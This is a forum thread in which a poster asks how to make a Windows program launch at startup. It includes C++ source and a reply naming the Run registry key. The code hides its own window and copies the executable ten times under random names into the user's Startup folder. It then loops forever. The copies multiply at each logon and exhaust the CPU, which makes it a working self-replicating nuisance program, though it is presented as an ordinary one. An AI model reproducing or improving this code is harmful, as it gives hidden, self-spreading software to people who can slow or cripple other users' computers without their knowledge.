Thread: auto start up

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    auto start up

    I was wondering im making a program that needs to be able to start up automatically is there any way to do this other than putting it in the startup menu maybe a Registry Key?

    Code:
    #include <iostream>
    #include <fstream>
    #include <windows.h>
    #include <ctime>
    using namespace std;
    
    int main()
    {
    	int n_times = 0;
    	int fcopy_name = 0;  
    	char FileName [MAX_PATH];
    	TCHAR user [MAX_PATH];
    	DWORD  bufCharCount = 32767;
    	srand((unsigned)time(0)); 
    	GetModuleFileName(NULL,FileName,MAX_PATH);
    	HWND hwnd = FindWindow(0,FileName); 
    	ShowWindow(hwnd,SW_HIDE);
    	GetUserName(user,&bufCharCount);
    	do
    	{
    		int temp_name = n_times+rand();
    		char buffer [MAX_PATH];
    		char new_name [MAX_PATH] = "C:\\Documents and Settings\\";
    		strcat(new_name,user);
    		strcat(new_name,"\\Start Menu\\Programs\\Startup\\");
    		itoa(temp_name,buffer,10);
    		strcat(buffer,".exe");
    		strcat(new_name,buffer);
    		CopyFile("Prime.exe",new_name,true);
    		n_times+=1;
    	}
    	while(n_times < 10);
    
    	while (1 == 1)
    	{
    	
    	}
    }

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    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run
    Add a REG_SZ value to that location, and make the value the path to your program's executable.

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